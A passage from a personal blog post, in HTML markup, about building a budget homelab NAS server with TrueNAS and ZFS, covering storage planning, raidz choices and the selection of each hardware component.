 src="https://mtlynch.io/budget-nas/dvd-collection.jpg" alt="Photo of two 500-disc binders of DVDs and Blu-Rays" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I still buy physical DVDs or Blu-Rays for anything I might watch a second time.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="whats-a-homelab">What&amp;rsquo;s a homelab?&lt;/h3>
&lt;p>&amp;ldquo;Homelab&amp;rdquo; is a colloquial term that&amp;rsquo;s grown in popularity in the last few years.&lt;/p>
&lt;p>A homelab is a place in your home where you can experiment with IT hardware or software that you&amp;rsquo;d typically find in an office or data center. It can serve as a practice environment for new professional skills, or it can just be a place to play with interesting technology.&lt;/p>
&lt;h3 id="why-build-your-own-nas">Why build your own NAS?&lt;/h3>
&lt;p>If you&amp;rsquo;re new to the homelab world or have no experience building PCs, I recommend that you &lt;strong>don&amp;rsquo;t build your own NAS&lt;/strong>.&lt;/p>
&lt;p>There are off-the-shelf solutions that offer similar functionality with a gentler learning curve.&lt;/p>
&lt;p>Before building my own homelab NAS, I used a 4-disk &lt;a href="https://www.newegg.com/synology-ds412/p/N82E16822108113">Synology DS412+&lt;/a> for seven years. Honestly, I loved my Synology. It was one of the best purchases I ever made. It was a gentle introduction to the world of NAS servers, and it&amp;rsquo;s where I&amp;rsquo;d recommend you start if you&amp;rsquo;re not sure about the whole NAS thing.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/ds412-plus.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/ds412-plus_hu_85fc4c45539473e6.jpg 300w, https://mtlynch.io/budget-nas/ds412-plus_hu_43be7e32c73753b9.jpg 600w, https://mtlynch.io/budget-nas/ds412-plus_hu_b03994354913251f.jpg 800w, https://mtlynch.io/budget-nas/ds412-plus_hu_ff6b0173309e2147.jpg 1200w, https://mtlynch.io/budget-nas/ds412-plus.jpg 1600w'
 src="https://mtlynch.io/budget-nas/ds412-plus.jpg" alt="Photo of Synology DS412&amp;#43; on my shelf" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My 10 TB Synology DS412+ has served me well for seven years.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A few months ago, my Synology failed to boot and started making a clicking noise. A chill ran up my spine as I realized how dependent I&amp;rsquo;d become on this single device. Synology servers are not user-repairable, so if a part breaks after warranty, you have to replace the whole server. And if you&amp;rsquo;re dumb like me, and you&amp;rsquo;ve used a Synology-proprietary storage format, &lt;del>you can&amp;rsquo;t access your data without another Synology system&lt;/del>. (Edit: A &lt;a href="https://news.ycombinator.com/item?id=31549755">commenter on Hacker News&lt;/a> showed me that you can &lt;a href="https://kb.synology.com/en-us/DSM/tutorial/How_can_I_recover_data_from_my_DiskStation_using_a_PC">recover a Synology Hybrid RAID volume from a non-Synology system&lt;/a>.)&lt;/p>
&lt;p>Fortunately, my old Synology recovered after I cleaned it out and reseated the disks, but it was an important wake-up call. I decided to switch to TrueNAS, as it offers an open-source implementation of an open storage format.&lt;/p>
&lt;h3 id="truenas-and-zfs">TrueNAS and ZFS&lt;/h3>
&lt;p>&lt;a href="https://truenas.com/">TrueNAS&lt;/a> (formerly known as FreeNAS) is one of the most popular operating systems for storage servers. It&amp;rsquo;s open-source, and it&amp;rsquo;s been around for almost 20 years, so it seemed like a reliable choice.&lt;/p>
&lt;div style="max-width: 50%; margin: 1rem auto">
&lt;p>&lt;img src="truenas-logo.svg" alt="TrueNAS logo">&lt;/p>
&lt;/div>
&lt;p>TrueNAS uses &lt;a href="https://docs.freebsd.org/en/books/handbook/zfs/">ZFS&lt;/a>, a filesystem designed specifically for storage servers. Traditional filesystems like NTFS or ext4 run on top of a data volume that manages low-level disk I/O. ZFS manages everything in the stack from the file-level logic down to disk I/O. ZFS&amp;rsquo; comprehensive control gives it more power and performance than other filesystems.&lt;/p>
&lt;p>Some neat features of ZFS include:&lt;/p>
&lt;ul>
&lt;li>Aggregating multiple physical disks into a single filesystem&lt;/li>
&lt;li>Automatically repairing data corruption&lt;/li>
&lt;li>Creating point-in-time snapshots of data on disk (similar to OS X&amp;rsquo;s Time Machine feature)&lt;/li>
&lt;li>Optionally encrypting or compressing data on disk&lt;/li>
&lt;/ul>
&lt;p>Before building this system, I had zero experience with ZFS, so I was excited to try it out.&lt;/p>
&lt;h2 id="storage-planning">Storage planning&lt;/h2>
&lt;h3 id="estimating-my-storage-capacity-needs">Estimating my storage capacity needs&lt;/h3>
&lt;p>When I bought my Synology NAS, I initially installed three 4 TB drives and left the fourth slot empty. That gave me a total of 7 TB of usable space with Synology Hybrid Raid. Three years later, I was running out of space, so I added a fourth drive, bringing my total usable space to 10 TB.&lt;/p>
&lt;p>I decided to apply the same strategy for my new build. I wanted a system that met my current needs with room to grow. My rough target was to start with 20 TB of usable storage and extra headroom for up to 30 TB if I add disks later.&lt;/p>
&lt;p>ZFS &lt;del>doesn&amp;rsquo;t let you add a new drive to an existing pool&lt;/del>, but that feature is &lt;a href="https://github.com/openzfs/zfs/pull/12225">under active development&lt;/a>. Hopefully, by the time I need to expand storage, the feature will be available in TrueNAS.&lt;/p>
&lt;p>&lt;strong>Update (2025-01-25)&lt;/strong>: This feature &lt;a href="https://github.com/openzfs/zfs/pull/15022">is now available&lt;/a> in &lt;a href="https://github.com/openzfs/zfs/releases/tag/zfs-2.3.0">the latest version of ZFS&lt;/a>, though I haven&amp;rsquo;t yet had the opportunity to test it in TrueNAS.&lt;/p>
&lt;h3 id="many-small-disks-or-fewer-large-disks">Many small disks or fewer large disks?&lt;/h3>
&lt;p>ZFS is designed to survive disk failures, so it stores each block of data redundantly. This feature complicates capacity planning because your total usable storage is not just the sum of each disk&amp;rsquo;s capacity.&lt;/p>
&lt;p>ZFS creates filesystems out of &amp;ldquo;pools&amp;rdquo; of disks. The more disks in the pool, the more efficiently ZFS can use their storage capacity. For example, if you give ZFS two 10 TB drives, you &lt;a href="https://wintelguy.com/zfs-calc.pl">can only use half of your total disk capacity&lt;/a>. If you instead use five 4 TB drives, ZFS gives you 14 TB of usable storage. Even though your total disk space is the same in either scenario, the five smaller drives give you 40% more usable space.&lt;/p>
&lt;p>When you&amp;rsquo;re building a NAS server, you need to decide whether to use a smaller quantity of large disks or a larger quantity of small disks. Smaller drives are usually cheaper in terms of $/TB, but they&amp;rsquo;re more expensive to operate. Two 4 TB drives require twice the electricity of a single 8 TB drive.&lt;/p>
&lt;p>I wanted to minimize my server&amp;rsquo;s physical footprint, so I opted for fewer, larger drives.&lt;/p>
&lt;h3 id="raidz-1-2-or-3">raidz 1, 2, or 3?&lt;/h3>
&lt;p>ZFS offers different options for redundancy: raidz1, raidz2, and raidz3. The main difference is in robustness. raidz1 can survive one disk failure without losing data. raidz2 can survive two simultaneous disk failures, and raidz3 can survive three.&lt;/p>
&lt;p>What you gain in robustness, you pay for in usable storage. Given five 4 TB hard drives, here&amp;rsquo;s how much usable storage you&amp;rsquo;d get from each ZFS mode:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>ZFS type&lt;/th>
 &lt;th>Usable storage&lt;/th>
 &lt;th>% of total capacity&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>raidz1&lt;/td>
 &lt;td>15.4 TB&lt;/td>
 &lt;td>77.2%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>raidz2&lt;/td>
 &lt;td>11.4 TB&lt;/td>
 &lt;td>57.2%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>raidz3&lt;/td>
 &lt;td>7.7 TB&lt;/td>
 &lt;td>38.6%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I chose raidz1. With only a handful of disks, the odds of two drives failing simultaneously is fairly low.&lt;/p>
&lt;p>Keep in mind that &lt;a href="https://www.raidisnotabackup.com/">ZFS is not a backup strategy&lt;/a>. ZFS can protect you against disk failure, but there are many threats to your data that ZFS won&amp;rsquo;t mitigate, such as accidental deletion, malware, or physical theft. I use &lt;a href="https://restic.net">restic&lt;/a> to replicate everything important to encrypted cloud backups.&lt;/p>
&lt;p>The value of ZFS is that I don&amp;rsquo;t have to resort to my cloud backups if one drive dies, but I&amp;rsquo;ll have to recover from backups if two drives fail. That would be a pain, but it&amp;rsquo;s not worth giving up 20% of my server&amp;rsquo;s usable storage for raidz2.&lt;/p>
&lt;p>The more physical drives you have, the more defensive you should be about disk failure. If I had a pool of 20 disks, I&amp;rsquo;d probably use raidz2 or raidz3.&lt;/p>
&lt;h3 id="preventing-concurrent-disk-failures">Preventing concurrent disk failures&lt;/h3>
&lt;p>Naively, the probability of two disks failing at once seems vanishingly small. Based on &lt;a href="https://www.backblaze.com/blog/backblaze-hard-drive-stats-for-2020/">Backblaze&amp;rsquo;s stats&lt;/a>, high-quality disk drives fail at 0.5-4% per year. A 4% risk per year is a 0.08% chance in any given week. Two simultaneous failures would happen once every 30,000 years, so I should be fine, right?&lt;/p>
&lt;p>The problem is that disks aren&amp;rsquo;t statistically independent. If one disk fails, its neighbor has a substantially higher risk of dying. This is especially true if the disks are the same model, from the same manufacturing batch, and processed the same workloads.&lt;/p>
&lt;p>Further, rebuilding a ZFS pool puts an unusual amount of strain on all of the surviving disks. A disk that would have lasted a few more months under normal usage might die under the additional load of a pool rebuild.&lt;/p>
&lt;p>Given these risks, I did what I could to reduce the risk of concurrent disk failures. I chose two different models of disk from two different manufacturers. To reduce the chances of getting disks from the same manufacturing batch, I bought them from different vendors. I can&amp;rsquo;t say how much this matters, but it didn&amp;rsquo;t increase costs significantly, so why not?&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/budget-nas/ironwolf-disks.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/budget-nas/ironwolf-disks_hu_a23e2903915d640b.jpg 300w, https://mtlynch.io/budget-nas/ironwolf-disks_hu_56b687b8389988c0.jpg 600w, https://mtlynch.io/budget-nas/ironwolf-disks_hu_f250e775f32d8ae7.jpg 800w, https://mtlynch.io/budget-nas/ironwolf-disks_hu_807c809318179652.jpg 1200w, https://mtlynch.io/budget-nas/ironwolf-disks.jpg 1920w'
 src="https://mtlynch.io/budget-nas/ironwolf-disks.jpg" alt="Photo of me holding Seagate IronWolf drives with different packaging" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I purchased the same model of disk from two different vendors to decrease the chances of getting two disks from the same manufacturing batch.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="how-i-chose-parts">How I chose parts&lt;/h2>
&lt;h3 id="motherboard">Motherboard&lt;/h3>
&lt;p>The first decision was motherboard size. I&amp;rsquo;ve always appreciated my Synology DS412+&amp;rsquo;s compact form factor. I&amp;rsquo;ve never built a computer with a mini-ITX motherboard before, and this seemed like a good opportunity.&lt;/p>
&lt;p>I chose the &lt;a href="https://www.asus.com/Motherboards-Components/Motherboards/PRIME/PRIME-A320I-K/">ASUS Prime A320I-K&lt;/a> for a few reasons:&lt;/p>
&lt;ul>
&lt;li>It has four SATA ports, which would allow me to connect four disks directly to the motherboard.&lt;/li>
&lt;li>It supports Radeon graphics, which would spare me from buying a separate graphics card&lt;/li>
&lt;li>It&amp;rsquo;s affordable, at only $98&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/a320i-k.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/a320i-k_hu_1a31e957eea4d8b6.jpg 300w, https://mtlynch.io/budget-nas/a320i-k_hu_4df64e54dc1e82b7.jpg 600w, https://mtlynch.io/budget-nas/a320i-k_hu_d8867d573f0cc2a5.jpg 800w, https://mtlynch.io/budget-nas/a320i-k_hu_774d94c540aff607.jpg 1200w, https://mtlynch.io/budget-nas/a320i-k.jpg 1573w'
 src="https://mtlynch.io/budget-nas/a320i-k.jpg" alt="Photo of ASUS Prime A320I-K motherboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.asus.com/Motherboards-Components/Motherboards/PRIME/PRIME-A320I-K/">ASUS Prime A320I-K&lt;/a> supports onboard graphics in a mini-ITX form factor.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div class="notice notice-danger">
 &lt;strong>Warning&lt;/strong>: I regret this choice of motherboard. See more discussion &lt;a href="https://mtlynch.io/budget-nas/#motherboard-1">below&lt;/a>.
&lt;/div>

&lt;p>I also looked at the &lt;a href="https://www.newegg.com/asus-rog-strix-b450-i-gaming/p/N82E16813119143">B450&lt;/a>, which was very similar but almost twice the price. The main advantage seemed to be better overclocking support, which I didn&amp;rsquo;t need.&lt;/p>
&lt;h3 id="cpu">CPU&lt;/h3>
&lt;p>From what I had read, ZFS is not very CPU-intensive. I ran a basic test by installing TrueNAS on a cheap Dell OptiPlex 7040 mini PC. It barely used the CPU, so it seemed safe to go with a low-powered option.&lt;/p>
&lt;p>My main criteria in a CPU was support for Radeon graphics so that I could use the A320 motherboard&amp;rsquo;s onboard HDMI output.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/amd-3000g.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/amd-3000g_hu_48f5184587fca94e.jpg 300w, https://mtlynch.io/budget-nas/amd-3000g_hu_a33c846d5893243.jpg 600w, https://mtlynch.io/budget-nas/amd-3000g_hu_5c66c2758e65fce0.jpg 800w, https://mtlynch.io/budget-nas/amd-3000g_hu_6190fa48d8b509f.jpg 1200w, https://mtlynch.io/budget-nas/amd-3000g.jpg 1624w'
 src="https://mtlynch.io/budget-nas/amd-3000g.jpg" alt="Photo of AMD Athlon 3000G" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The AMD Athlon 3000G is inexpensive and has native graphics support.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I settled on the AMD Athlon 3000G. At only $105, it&amp;rsquo;s a good value, it supports Radeon graphics, and it has decent &lt;a href="https://www.cpubenchmark.net/cpu.php?cpu=AMD+Athlon+3000G&amp;amp;id=3614">CPU benchmarks&lt;/a>.&lt;/p>
&lt;h3 id="case">Case&lt;/h3>
&lt;p>When I built my last VM server, I &lt;a href="https://mtlynch.io/building-a-vm-homelab/#case">used a Fractal Design case&lt;/a>. It&amp;rsquo;s my favorite computer case ever, so I returned to Fractal Design on this build.&lt;/p>
&lt;p>I went with the &lt;a href="https://www.newegg.com/black-fractal-design-node-304-mini-itx-tower/p/N82E16811352027">Fractal Design Node 304 Black&lt;/a>, a compact mini-ITX case. I liked the design because it&amp;rsquo;s closer to a cube than a tower. It has six drive bays, which allows me to start with enough drives and still have room to grow in the future.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/budget-nas/fractal-design-304.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/budget-nas/fractal-design-304_hu_ffbce2b31d61161.jpg 300w, https://mtlynch.io/budget-nas/fractal-design-304_hu_69ed085cbd22a4e2.jpg 600w, https://mtlynch.io/budget-nas/fractal-design-304_hu_8454d823a2953605.jpg 800w, https://mtlynch.io/budget-nas/fractal-design-304_hu_1df233052807218d.jpg 1200w, https://mtlynch.io/budget-nas/fractal-design-304.jpg 1280w'
 src="https://mtlynch.io/budget-nas/fractal-design-304.jpg" alt="Fractal Design Node 304 Black case" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.newegg.com/black-fractal-design-node-304-mini-itx-tower/p/N82E16811352027">Fractal Design Node 304 Black&lt;/a> is a mini-ITX case with space for six disks.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="disk-data">Disk (Data)&lt;/h3>
&lt;p>With six drive bays available in the case, I decided to start with four 8 TB disks, which translates to 22.5 TB of usable storage under raidz1. When I need to expand in the future, a fifth disk will bring me to 30.9 TB, and a sixth would get me 37 TB.&lt;/p>
&lt;p>In the 8 TB range, there aren&amp;rsquo;t many drives below 7200 RPM, but you can go up to 10k RPM. For my NAS, speeds above 7200 RPM wouldn&amp;rsquo;t make a difference because the bottleneck is the network. A 10k RPM drive would be louder and consume more power but offer no practical gain in performance.&lt;/p>
&lt;p>I initially tried checking &lt;a href="https://www.backblaze.com/blog/backblaze-drive-stats-for-2021/">Backblaze&amp;rsquo;s hard drive stats&lt;/a> to avoid failure-prone disks, but they use drives on the pricier side. At one point, I was considering $400 drives for their impressively low 0.5% failure rate, but I realized it&amp;rsquo;s irrational to spend twice as much to reduce the failure rate by a few percent.&lt;/p>
&lt;p>The last pitfall to avoid is shingled magnetic recording (SMR) technology. ZFS &lt;a href="https://www.servethehome.com/wd-red-smr-vs-cmr-tested-avoid-red-smr/">performs poorly on SMR drives&lt;/a>, so if you&amp;rsquo;re building a NAS, avoid &lt;a href="https://www.truenas.com/community/resources/list-of-known-smr-drives.141/">known SMR drives&lt;/a>. If the drive is labeled as CMR, that&amp;rsquo;s conventional magnetic recording, which is fine for ZFS.&lt;/p>
&lt;p>I chose the &lt;a href="https://www.newegg.com/toshiba-n300-hdwg480xzsta-8tb/p/N82E16822149793">Toshiba N300&lt;/a> and the &lt;a href="https://www.newegg.com/seagate-ironwolf-st8000vn004-8tb/p/N82E16822184796">Seagate IronWolf&lt;/a>. I saw positive reviews of both on the TrueNAS forums and reddit. Both models sold for $180-190, which was a good value for the storage space.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 







&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/budget-nas/toshiba-n300.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/budget-nas/toshiba-n300_hu_e31e6419cdf6cc9a.jpg 300w, https://mtlynch.io/budget-nas/toshiba-n300.jpg 352w'
 src="https://mtlynch.io/budget-nas/toshiba-n300.jpg" alt="Toshiba N300" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/budget-nas/seagate-ironwolf.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/budget-nas/seagate-ironwolf_hu_4c426fe2db541b6e.jpg 300w, https://mtlynch.io/budget-nas/seagate-ironwolf_hu_a65bac82ebda5e03.jpg 600w, https://mtlynch.io/budget-nas/seagate-ironwolf.jpg 739w'
 src="https://mtlynch.io/budget-nas/seagate-ironwolf.jpg" alt="Seagate IronWolf" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>&lt;a href="https://www.newegg.com/toshiba-n300-hdwg480xzsta-8tb/p/N82E16822149793">Toshiba N300&lt;/a> (left) and &lt;a href="https://www.newegg.com/seagate-ironwolf-st8000vn004-8tb/p/N82E16822184796">Seagate IronWolf&lt;/a> (right)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="disk-os">Disk (OS)&lt;/h3>
&lt;p>TrueNAS needs a dedicated OS disk, but from what I&amp;rsquo;d read, it doesn&amp;rsquo;t demand much of it. The OS needs at least 2 GB of space, but TrueNAS infrequently reads or writes to the OS disk.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/kingston-a400.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/kingston-a400_hu_c11c1a0f04a4ca7e.jpg 300w, https://mtlynch.io/budget-nas/kingston-a400_hu_b29614da4ef262a6.jpg 600w, https://mtlynch.io/budget-nas/kingston-a400_hu_be3c4601e2c7c0e4.jpg 800w, https://mtlynch.io/budget-nas/kingston-a400_hu_8a072f5beef8b7fc.jpg 1200w, https://mtlynch.io/budget-nas/kingston-a400.jpg 1637w'
 src="https://mtlynch.io/budget-nas/kingston-a400.jpg" alt="Kingston A400" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.newegg.com/kingston-a400-120gb/p/N82E16820242474">Kingston A400&lt;/a> is a fantastic value as a 120 GB M.2 SSD for only $32.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I went with the &lt;a href="https://www.newegg.com/kingston-a400-120gb/p/N82E16820242474">Kingston A400&lt;/a> because it was incredibly inexpensive — $32 for a 120 GB M.2 disk. I love M.2 disks! They don&amp;rsquo;t require any cabling. They just tuck away into the motherboard, take up nearly zero space, and you never have to touch them again.&lt;/p>
&lt;h3 id="memory">Memory&lt;/h3>
&lt;p>In my research, I frequently found references to the &amp;ldquo;rule&amp;rdquo; that ZFS requires 1 GB of RAM for every TB of disk space in the system. According to ZFS developer Richard Yao, &lt;a href="https://www.reddit.com/r/DataHoarder/comments/5u3385/linus_tech_tips_unboxes_1_pb_of_seagate/ddrngar/">that rule is a myth&lt;/a>. There are some RAM-hungry ZFS features like data deduplication, but ZFS &lt;a href="https://www.reddit.com/r/DataHoarder/comments/3s7vrd/so_you_think_zfs_needs_a_ton_of_ram_for_a_simple/">runs fine with constrained memory&lt;/a>.&lt;/p>
&lt;p>I find memory extremely boring to shop for. I wish I had a more rigorous process for choosing RAM, but I couldn&amp;rsquo;t find trustworthy benchmarks or user reports for RAM. My process was:&lt;/p>
&lt;ol>
&lt;li>Review the list of RAM sticks &lt;a href="https://www.asus.com/Motherboards-Components/Motherboards/CSM/PRIME-A320I-K-CSM/HelpDesk_QVL/">compatible with the ASUS A320I-K motherboard&lt;/a>&lt;/li>
&lt;li>Filter for 32 GB or 64 GB options that used only two sticks&lt;/li>
&lt;li>Filter for brands I trust (Corsair, Crucial, G.SKILL, Kingston, Samsung, Patriot, Mushkin, HyperX)&lt;/li>
&lt;li>Filter for options below $150&lt;/li>
&lt;/ol>
&lt;p>That process led me to the &lt;a href="https://www.newegg.com/corsair-32gb-288-pin-ddr4-sdram/p/N82E16820233854">CORSAIR Vengeance LPX 32GB CMK32GX4M2A2400C14 (2 x 16GB)&lt;/a> for $128.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/corsair-vengeance.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/corsair-vengeance_hu_69899b3a7951a75e.jpg 300w, https://mtlynch.io/budget-nas/corsair-vengeance_hu_f7af3164ddc08c94.jpg 600w, https://mtlynch.io/budget-nas/corsair-vengeance_hu_d082045424d8ab76.jpg 800w, https://mtlynch.io/budget-nas/corsair-vengeance_hu_844d157ad4ebb3d2.jpg 1200w, https://mtlynch.io/budget-nas/corsair-vengeance.jpg 1708w'
 src="https://mtlynch.io/budget-nas/corsair-vengeance.jpg" alt="Photo of CORSAIR Vengeance LPX 32GB CMK32GX4M2A2400C14 RAM" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.newegg.com/corsair-32gb-288-pin-ddr4-sdram/p/N82E16820233854">CORSAIR Vengeance LPX 32GB CMK32GX4M2A2400C14 (2 x 16GB)&lt;/a> is compatible with the A320I-K motherboard and is a decent price for 32 GB.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="power-supply-unit-psu">Power supply unit (PSU)&lt;/h3>
&lt;p>In terms of power capacity, basically any consumer PSU would have been sufficient. According to &lt;a href="https://pcpartpicker.com/">PCPartPicker&lt;/a>, my system only requires 218 W. I would have picked a PSU in the 300-400 W range, but there weren&amp;rsquo;t semi-modular options with lower wattage. I went with the 500 W &lt;a href="https://www.newegg.com/evga-500-bq-110-bq-0500-k1-500w/p/N82E16817438101">EVGA 110-BQ-0500-K1&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/evga-psu.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/evga-psu_hu_d5d2a5c9f171eaf6.jpg 300w, https://mtlynch.io/budget-nas/evga-psu_hu_10ae932a3dc95f3.jpg 600w, https://mtlynch.io/budget-nas/evga-psu_hu_9b963287b1c8324f.jpg 800w, https://mtlynch.io/budget-nas/evga-psu_hu_27b16d0e5837c2ba.jpg 1200w, https://mtlynch.io/budget-nas/evga-psu.jpg 1736w'
 src="https://mtlynch.io/budget-nas/evga-psu.jpg" alt="EVGA 110-BQ-0500-K1" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.newegg.com/evga-500-bq-110-bq-0500-k1-500w/p/N82E16817438101">EVGA 110-BQ-0500-K1&lt;/a> is a semi-modular PSU. At 500 W, it offers more than enough power for my build.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="90-degree-sata-cables">90-degree SATA cables&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/budget-nas/holding-sata.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/budget-nas/holding-sata_hu_cf383f22b0fd022b.jpg 300w, https://mtlynch.io/budget-nas/holding-sata_hu_3074a2cf23286e3e.jpg 600w, https://mtlynch.io/budget-nas/holding-sata_hu_9535a1b0fb9c1483.jpg 800w, https://mtlynch.io/budget-nas/holding-sata_hu_a5ff903868da4657.jpg 1200w, https://mtlynch.io/budget-nas/holding-sata.jpg 1600w'
 src="https://mtlynch.io/budget-nas/holding-sata.jpg" alt="Me holding 90-degree SATA cable" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I needed 90-degree SATA cables to work within the case&amp;rsquo;s space constraints&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>One item I&amp;rsquo;ve never purchased before was a 90-degree SATA cable. I didn&amp;rsquo;t realize I needed them until I saw that there wasn&amp;rsquo;t enough space between my motherboard and PSU to plug in a standard SATA cable. These slim 90-degree cables solved the problem.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/budget-nas/sata-just-barely.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/budget-nas/sata-just-barely_hu_1942d8630c668950.jpg 300w, https://mtlynch.io/budget-nas/sata-just-barely_hu_3b8888ec5fc324be.jpg 600w, https://mtlynch.io/budget-nas/sata-just-barely_hu_30efb68661cbb57e.jpg 800w, https://mtlynch.io/budget-nas/sata-just-barely_hu_445eb66a963902a8.jpg 1200w, https://mtlynch.io/budget-nas/sata-just-barely.jpg 1500w'
 src="https://mtlynch.io/budget-nas/sata-just-barely.jpg" alt="Photo of 90-degree SATA cable just barely fitting between the SATA port and the power supply" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>It was such a tight squeeze between my PSU and motherboard that I needed 90-degree slim SATA cables.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="whats-missing">What&amp;rsquo;s missing?&lt;/h2>
&lt;p>There are a few components that I intentionally excluded from my build due to price, complexity, or physical space.&lt;/p>
&lt;h3 id="graphics-card-gpu">Graphics card (GPU)&lt;/h3>
&lt;p>With scarce physical space and motherboard ports, I didn&amp;rsquo;t want a dedicated graphics card. I chose a motherboard and CPU combination that supports graphics rendering without an external card.&lt;/p>
&lt;h3 id="host-bus-adaptor-hba">Host bus adaptor (HBA)&lt;/h3>
&lt;p>Many NAS builds include a &lt;a href="https://www.truenas.com/community/threads/whats-all-the-noise-about-hbas-and-why-cant-i-use-a-raid-controller.81931/">host bus adaptor&lt;/a> (HBA). An HBA is a chip that goes into the PCI slot of a motherboard and increases the number of disks the motherboard can support.&lt;/p>
&lt;p>&lt;del>ZFS requires you to &lt;a href="https://www.servethehome.com/ibm-serveraid-m1015-part-4/">reflash the HBA&amp;rsquo;s firmware&lt;/a> in a process that sounds tedious and confusing&lt;/del> (Edit: Apparently, &lt;a href="https://mtlynch.io/budget-nas/#comment-6">re-flashing is only necessary on RAID HBAs&lt;/a>). I decided to punt on the HBA until I need more storage. The ASUS A320I-K has four SATA ports, which is enough for my initial needs. I made sure to leave a PCI slot empty for a future HBA.&lt;/p>
&lt;h3 id="ecc-ram">ECC RAM&lt;/h3>
&lt;p>In researching different TrueNAS builds, I saw several posts claiming that ECC RAM (error correction code RAM) is a must-have to prevent data corruption. I ultimately decided against ECC RAM and just used standard, consumer-grade RAM.&lt;/p>
&lt;p>While I obviously don&amp;rsquo;t want my server to corrupt my data in RAM, I&amp;rsquo;ve also been using computers for the past 30 years without ECC RAM, and I&amp;rsquo;ve never noticed data corruption. If I were building a server for heavy load from multiple users all day, I&amp;rsquo;d spring for a build with ECC RAM. For home needs, I think simple consumer-grade RAM should be fine.&lt;/p>
&lt;h3 id="slog-disk">SLOG disk&lt;/h3>
